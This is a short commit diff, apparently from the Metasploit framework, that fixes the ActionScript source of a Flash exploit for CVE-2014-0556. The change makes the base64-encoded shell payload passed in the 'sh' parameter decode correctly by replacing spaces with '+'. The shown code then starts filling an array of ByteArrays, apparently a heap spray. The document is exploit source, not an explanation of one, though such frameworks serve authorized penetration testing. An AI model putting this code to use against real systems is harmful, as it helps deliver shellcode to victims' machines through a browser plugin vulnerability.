Fix CVE-2014-0556

Author: jvazquez-r7

data/exploits/CVE-2014-0556/msf.swf

@@ -27,8 +27,12 @@ package
 		public function Main() 
 		{
 			var b64:Base64Decoder = new Base64Decoder()
-			b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
-			var payload:String = b64.toByteArray().toString()
+
+            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
+            var pattern:RegExp = / /g;
+            b64_payload = b64_payload.replace(pattern, "+")
+            b64.decode(b64_payload)            
+            var payload:String = b64.toByteArray().toString()
 
 			for (i = 0; i < bv.length; i++) {
 				bv[i] = new ByteArray()